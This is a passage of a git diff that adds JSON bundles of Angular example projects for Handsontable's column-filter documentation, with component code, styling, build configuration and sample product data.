    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, HostListener, ViewChild, ViewEncapsulation } from \"@angular/core\";\nimport { GridSettings, HotTableComponent, HotTableModule } from \"@handsontable/angular-wrapper\";\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: \"app-example6\",\n encapsulation: ViewEncapsulation.None,\n styles: `\n .controlsQuickFilter {\n position: relative;\n display: flex;\n align-items: center;\n gap: 0.75rem;\n margin: 0;\n padding: 0;\n }\n\n .selectColumn {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n font-size: 0.875rem;\n color: #555555;\n white-space: nowrap;\n }\n\n .selectColumn select {\n border: 1px solid #e0e0e0;\n background: none;\n color: #333333;\n font-size: 0.875rem;\n padding: 0.4rem 0.625rem;\n outline: none;\n border-radius: 0;\n cursor: pointer;\n }\n\n .selectColumn select:focus {\n border-color: #1A42E8;\n }\n\n #filterField {\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n background: none;\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.4rem 0.625rem;\n outline: none;\n width: 140px;\n }\n\n #filterField::placeholder {\n color: var(--sl-color-gray-3, #777777);\n }\n\n #filterField:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n }\n\n #filterField:focus-visible {\n border-color: var(--sl-color-accent, #1A42E8);\n box-shadow: 0 0 0 1px var(--sl-color-accent, #1A42E8);\n }\n\n .filter-dropdown {\n position: relative;\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n }\n\n .filter-dropdown-label {\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-sm, 0.875rem);\n white-space: nowrap;\n }\n\n .filter-dropdown-trigger {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-2, #555555);\n cursor: pointer;\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 500;\n padding: 0.4rem 0.625rem;\n transition: color 0.15s, background-color 0.15s;\n white-space: nowrap;\n border-radius: 0;\n }\n\n .filter-dropdown-trigger:hover {\n color: var(--sl-color-white, #333333);\n background: var(--sl-color-gray-7, var(--sl-color-gray-6, #eeeeee));\n }\n\n .filter-dropdown-chevron {\n flex-shrink: 0;\n margin-inline-start: 0.15rem;\n transition: transform 0.15s;\n }\n\n .filter-dropdown-trigger[aria-expanded='true'] .filter-dropdown-chevron {\n transform: rotate(180deg);\n }\n\n .filter-dropdown-menu {\n background: var(--sl-color-bg-nav, #ffffff);\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n box-shadow: none;\n inset-inline-start: 0;\n list-style: none;\n margin: 0;\n min-width: 100%;\n overflow-y: auto;\n padding: 0;\n position: absolute;\n top: 100%;\n z-index: 9999;\n }\n\n .filter-dropdown-menu li {\n align-items: center;\n color: var(--sl-color-text, #333333);\n display: flex;\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.5rem 0.75rem;\n cursor: pointer;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n transition: background 0.1s, color 0.1s;\n white-space: nowrap;\n list-style: none;\n margin: 0;\n }\n\n .filter-dropdown-menu li:last-child {\n border-bottom: none;\n }\n\n .filter-dropdown-menu li:hover,\n .filter-dropdown-menu li:focus-visible {\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-white, #333333);\n outline: none;\n }\n\n .filter-dropdown-menu li[aria-selected='true'] {\n color: var(--sl-color-white, #333333);\n box-shadow: inset 0 0 0 1px var(--sl-color-accent, #1A42E8);\n }\n `,\n template: `\n
    \n
    \n
    \n \n \n {{ selectedLabel }}\n \n \n \n \n @if (isOpen) {\n
      \n @for (option of columnOptions; track option.value) {\n \n {{ option.label }}\n \n }\n
    \n }\n
    \n \n
    \n
    \n\n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) hotTable!: HotTableComponent;\n\n isOpen = false;\n selectedColumn = 0;\n\n readonly columnOptions: Array<{ value: string; label: string }> = [\n { value: \"0\", label: \"Brand\" },\n { value: \"1\", label: \"Model\" },\n { value: \"2\", label: \"Price\" },\n { value: \"3\", label: \"Date\" },\n { value: \"4\", label: \"Time\" },\n { value: \"5\", label: \"In stock\" },\n ];\n\n get selectedLabel(): string {\n return this.columnOptions.find((o) => o.value === this.selectedColumn.toString())?.label ?? \"Brand\";\n }\n\n @HostListener(\"document:click\")\n closeDropdown() {\n this.isOpen = false;\n }\n\n toggleDropdown() {\n this.isOpen = !this.isOpen;\n }\n\n selectColumn(option: { value: string; label: string }) {\n this.selectedColumn = Number(option.value);\n this.isOpen = false;\n }\n\n handleFilter(event: Event) {\n const value = (event.target as HTMLInputElement).value;\n const filters = this.hotTable.hotInstance!.getPlugin(\"filters\");\n\n filters.removeConditions(this.selectedColumn);\n filters.addCondition(this.selectedColumn, \"contains\", [value]);\n filters.filter();\n this.hotTable.hotInstance!.render();\n }\n\n readonly hotData = [\n {\n brand: \"Jetpulse\",\n model: \"Racing Socks\",\n price: 30,\n sellDate: \"2023-10-11\",\n sellTime: \"01:23\",\n inStock: false,\n },\n {\n brand: \"Gigabox\",\n model: \"HL Mountain Frame\",\n price: 1890.9,\n sellDate: \"2023-05-03\",\n sellTime: \"11:27\",\n inStock: false,\n },\n {\n brand: \"Camido\",\n model: \"Cycling Cap\",\n price: 130.1,\n sellDate: \"2023-03-27\",\n sellTime: \"03:17\",\n inStock: true,\n },\n {\n brand: \"Chatterpoint\",\n model: \"Road Tire Tube\",\n price: 59,\n sellDate: \"2023-08-28\",\n sellTime: \"08:01\",\n inStock: true,\n },\n {\n brand: \"Eidel\",\n model: \"HL Road Tire\",\n price: 279.99,\n sellDate: \"2023-10-02\",\n sellTime: \"13:23\",\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: \"Brand\",\n type: \"text\",\n data: \"brand\",\n },\n {\n title: \"Model\",\n type: \"text\",\n data: \"model\",\n },\n {\n title: \"Price\",\n type: \"numeric\",\n data: \"price\",\n locale: \"en-US\",\n numericFormat: {\n style: \"currency\",\n currency: \"USD\",\n minimumFractionDigits: 2,\n },\n },\n {\n title: \"Date\",\n type: \"intl-date\",\n data: \"sellDate\",\n locale: \"en-GB\",\n dateFormat: { day: \"2-digit\", month: \"2-digit\", year: \"numeric\" },\n className: \"htRight\",\n },\n {\n title: \"Time\",\n type: \"intl-time\",\n data: \"sellTime\",\n locale: \"en-GB\",\n timeFormat: { hour: \"2-digit\", minute: \"2-digit\", hour12: false },\n className: \"htRight\",\n },\n {\n title: \"In stock\",\n type: \"checkbox\",\n data: \"inStock\",\n className: \"htCenter\",\n },\n ],\n colHeaders: true,\n height: \"auto\",\n filters: true,\n className: \"exampleQuickFilter\",\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example6.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example6","exampleTitle":"External quick filter (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example7.ts.json new file mode 100644 index 00000000..0d4dc8e5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example7.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Customize the filter button (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example7',\n template: `\n \n \n `,\n styles: `\n :host ::ng-deep {\n .handsontable.customFilterButtonExample1 .changeType {\n --ht-icon-button-background-color: #e2e2e263;\n --ht-icon-button-border-radius: 100%;\n }\n\n .handsontable.customFilterButtonExample1 .changeType::before {\n -webkit-mask-image: url(\"data:image/svg+xml,%3Csvg width=%2716%27 height=%2716%27 viewBox=%270 0 16 16%27 fill=%27none%27 xmlns=%27http://www.w3.org/2000/svg%27%3E%3Cpath d=%27M6.83337 7.99984C6.83337 8.30926 6.95629 8.606 7.17508 8.8248C7.39388 9.04359 7.69062 9.1665 8.00004 9.1665C8.30946 9.1665 8.60621 9.04359 8.825 8.8248C9.04379 8.606 9.16671 8.30926 9.16671 7.99984C9.16671 7.69042 9.04379 7.39367 8.825 7.17488C8.60621 6.95609 8.30946 6.83317 8.00004 6.83317C7.69062 6.83317 7.39388 6.95609 7.17508 7.17488C6.95629 7.39367 6.83337 7.69042 6.83337 7.99984Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 12.4165C6.83337 12.7259 6.95629 13.0227 7.17508 13.2415C7.39388 13.4603 7.69062 13.5832 8.00004 13.5832C8.30946 13.5832 8.60621 13.4603 8.825 13.2415C9.04379 13.0227 9.16671 12.7259 9.16671 12.4165C9.16671 12.1071 9.04379 11.8103 8.825 11.5915C8.60621 11.3728 8.30946 11.2498 8.00004 11.2498C7.69062 11.2498 7.39388 11.3728 7.17508 11.5915C6.95629 11.8103 6.83337 12.1071 6.83337 12.4165Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 3.58317C6.83337 3.89259 6.95629 4.18934 7.17508 4.40813C7.39388 4.62692 7.69062 4.74984 8.00004 4.74984C8.30946 4.74984 8.60621 4.62692 8.825 4.40813C9.04379 4.18934 9.16671 3.89259 9.16671 3.58317C9.16671 3.27375 9.04379 2.97701 8.825 2.75821C8.60621 2.53942 8.30946 2.4165 8.00004 2.4165C7.69062 2.4165 7.39388 2.53942 7.17508 2.75821C6.95629 2.97701 6.83337 3.27375 6.83337 3.58317Z%27 fill=%27currentColor%27/%3E%3C/svg%3E\");\n }\n }\n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample1',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example7.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example7","exampleTitle":"Customize the filter button (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example8.ts.json new file mode 100644 index 00000000..a42f6473 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example8.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Customize the filter button (4) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example8',\n template: `\n \n \n `,\n styles: `\n :host ::ng-deep {\n /* hide the column menu button by default */\n .customFilterButtonExample2 .changeType {\n visibility: hidden;\n }\n\n /* show the column menu button on hover */\n .customFilterButtonExample2 th .relative:hover .changeType {\n visibility: visible;\n }\n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample2',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example8.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example8","exampleTitle":"Customize the filter button (4)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example9.ts.json new file mode 100644 index 00000000..b960e693 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example9.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Exclude rows from filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example9',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: 